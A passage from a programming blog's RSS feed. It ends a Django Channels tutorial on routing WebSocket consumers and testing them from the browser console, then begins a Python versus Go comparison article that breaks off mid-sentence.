style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subprotocols&amp;#39;&lt;/span&gt;: [],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;asgi&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;version&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cookies&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;session&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; django&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;utils&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;functional&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;LazyObject &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x7f4fad60c430&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; ,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; channels&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auth&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;UserLazyObject &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x7f4fad60cb50&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; ,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;path_remaining&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;url_route&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;args&amp;#39;&lt;/span&gt;: (),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;kwargs&amp;#39;&lt;/span&gt;: {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please note how &lt;strong&gt;our dictionary has a &lt;em&gt;session&lt;/em&gt; property, a &lt;em&gt;user&lt;/em&gt; property, a &lt;em&gt;cookies&lt;/em&gt; (to identify the user) and another one with the args and kwargs of the url&lt;/strong&gt;, which we can use to customize the behavior of our app; get information from a database, limit access to certain consumers or whatever we want.&lt;/p&gt;&#xA;&lt;h2 id=&#34;linking-a-consumer-with-a-url&#34;&gt;Linking a consumer with a url&lt;/h2&gt;&#xA;&lt;p&gt;We are going to create the url that will link our consumers to the websockets in a new file called &lt;em&gt;routing.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/routing.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; re_path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; . &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; consumers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;websocket_urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    re_path(&lt;span style=&#34;color:#5af78e&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws/chat/$&amp;#39;&lt;/span&gt;, consumers&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ChatConsumer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_asgi()),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All connections to the url &lt;em&gt;ws://localhost:8000/ws/chat/&lt;/em&gt; will create an instance of our &lt;em&gt;ChatConsumer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s modify the &lt;em&gt;asgi.py&lt;/em&gt; file inside our project so that every request made to a websocket is redirected to our consumer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/ProtocolTyperouter-2.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/ProtocolTyperouter-2.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;ProtocolTyperouter schematic of Django channels&#34; width=&#34;1200&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AuthMiddlewareStack&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter, URLRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; chat.routing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.settings&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;websocket&amp;#34;&lt;/span&gt;: AuthMiddlewareStack(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        URLRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            chat&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;routing&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;websocket_urlpatterns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;ProtocolTypeRouter&lt;/em&gt; is in charge of reading the scope and assigning the type of request to the respective type of response: http to a view and websocket to a consumer.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;URLRouter&lt;/em&gt; is in charge of deciding which url corresponds to each consumer, just like Django&amp;rsquo;s &lt;em&gt;urlpatterns&lt;/em&gt; object.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;AuthMiddlewareStack&lt;/em&gt; is in charge of storing user data in Django&amp;rsquo;s &lt;em&gt;session&lt;/em&gt; object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;sending-information-through-a-web-socket-with-js&#34;&gt;Sending information through a web socket with JS&lt;/h2&gt;&#xA;&lt;p&gt;Now, to test it, we are going to open the console of our web browser at &lt;em&gt;http://localhost:8000&lt;/em&gt; and we are going to write the Javascript code to connect to our application using websockets.&lt;/p&gt;&#xA;&lt;p&gt;Javascript provides us with a &lt;em&gt;WebSocket&lt;/em&gt; object to handle connections, we will pass it the url &lt;em&gt;ws://localhost:8000/ws/chat/&lt;/em&gt; as a parameter so that it knows where it has to connect to.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; chatSocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; WebSocket(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.location.host&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to tell the socket what to do each time it receives a new message. In this case we will ask it to read the information in JSON format and to show us the information received in the console.&lt;/p&gt;&#xA;&lt;p&gt;I have added a &lt;em&gt;console.log&lt;/em&gt; to the event so you can see all the properties you have available to use in the frontend.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chatSocket.onmessage &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(e) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(e)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; JSON.parse(e.data);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s try sending a message using its &lt;em&gt;send&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nuestro mensaje&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chatSocket.send(JSON.stringify({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well we should get a response with the message we sent.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoChannelsWebSockets-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoChannelsWebSockets-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Response from a websocket in the javascript console&#34; width=&#34;674&#34; height=&#34;463&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Handling websockets in the Javascript Console&lt;/p&gt;&#xA;&lt;p&gt;Ready, we can now send websocket messages to django and receive a response. But so far what we have done is a fairly simple interactive application that sends and returns text using the ws protocol, what if we want to take full advantage of channels to create applications where many users interact? In the next post I will talk about the channel layer and the channel groups.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Why Django channels? Because Django does not allow us to create applications with real-time communication natively. Django channels gives Django the ability to handle protocols that require a persistent connection, such as WebSockets, MQTT, chatbots, while keeping intact its integration with the session system, authentication and the rest of the framework.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django channels places an intermediate layer that is in charge of processing http requests to django views and websocket connections to an http consumer or a websocket consumer.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Python vs Go Which is the Best Programming Language in 2025?</title>
      <link>https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/</link>
      <pubDate>Tue, 02 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/</guid>
      
      <category>go</category>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;These last few months I have been learning go. How did it all start? Well, it started in a rather superficial way; I loved their mascot, yes, that&amp;rsquo;s really what it was all about. So after a brief mental debate, I decided to give the language a try. My first impression of it is that it is quite similar to Python; simple and easy to learn. Now that I have used it a bit more I bring you a comparison of go programming language vs python, where I will explain some of their differences, in case you are interested in learning one or the other this 2025.&lt;/p&gt;&#xA;&lt;p&gt;By the way, here are my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;favorite resources for learning Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-python-vs-golang-programming-language&#34;&gt;TLDR Python vs Golang programming language&lt;/h2&gt;&#xA;&lt;p&gt;This table summarizes the whole article, if you want to go deeper just keep reading and scrolling.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Category&lt;/th&gt;&#xA;          &lt;th&gt;Go (Golang)&lt;/th&gt;&#xA;          &lt;th&gt;Python&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Compiled, strongly typed&lt;/td&gt;&#xA;          &lt;td&gt;Interpreted, dynamically typed&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Blazingly fast (e.g., Fibonacci test)&lt;/td&gt;&#xA;          &lt;td&gt;Slower due to interpretation&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;C-like, braces, no unused variables allowed&lt;/td&gt;&#xA;          &lt;td&gt;Clean, indentation-based, flexible&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Concurrency&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Goroutines (simple and powerful)&lt;/td&gt;&#xA;          &lt;td&gt;Async/await (single-threaded, GIL-limited)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Error Handling&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Manual checks (&lt;code&gt;if err != nil&lt;/code&gt;), no try-catch&lt;/td&gt;&#xA;          &lt;td&gt;Traditional try-except blocks&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;OOP&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;No classes; uses structs with emulated OOP features&lt;/td&gt;&#xA;          &lt;td&gt;Full OOP support (classes, inheritance)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Popularity&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Growing, loved by devs (higher salaries)&lt;/td&gt;&#xA;          &lt;td&gt;More popular overall, dominant in AI/data science&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Use Cases&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;DevOps (Docker, Kubernetes), high-speed backends&lt;/td&gt;&#xA;          &lt;td&gt;Machine learning, scripting, web dev (Django, Flask)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Frameworks&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Fast (Echo, Gin), outperforms Python in benchmarks&lt;/td&gt;&#xA;          &lt;td&gt;Mature (Django, FastAPI), widely adopted&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Packages&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;~350k (GitHub), no central repo&lt;/td&gt;&#xA;          &lt;td&gt;~336k (PyPI), vast ecosystem&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Learning Curve&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Slightly steeper (opinionated design)&lt;/td&gt;&#xA;          &lt;td&gt;Easier for beginners&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Community&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Smaller but passionate&lt;/td&gt;&#xA;          &lt;td&gt;Massive, extensive resources&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Pros&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Fast compilation, great for concurrency, strict conventions&lt;/td&gt;&#xA;          &lt;td&gt;Readable, versatile, rich libraries&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Cons&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Controversial error handling, no generics (initially), rigid&lt;/td&gt;&#xA;          &lt;td&gt;Slow, GIL limits threading, Python 2/3 split&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;key-takeaways&#34;&gt;Key takeaways:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Choose Go&lt;/strong&gt; for speed, concurrency, or DevOps.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Choose Python&lt;/strong&gt; for AI, data science, or rapid development.&lt;/li&gt;&#xA;&lt;li&gt;Both have strong standard libraries but differ in philosophy and trade-offs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;introduction-and-subtle-differences-between-python-and-go&#34;&gt;Introduction and subtle differences between Python and Go&lt;/h2&gt;&#xA;&lt;p&gt;This comparison is going to be a bit sloppy, since we are going to compare Python, an interpreted language, and go, a compiled language. So we are already starting from quite big differences.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Python is an interpreted and imperative language while Go is a compiled, concurrent and imperative language.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/codigo-compilado-vs-interpretado-go-vs-python.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/codigo-compilado-vs-interpretado-go-vs-python.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Go is a compiled language whereas Python is an interprepted one&#34; width=&#34;800&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I had already explained a bit about the differences between an interpreted and a compiled language in my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/&#34;&gt;python vs javascript comparison&lt;/a&gt;&#xA;, so if you want to refresh your memory a bit go 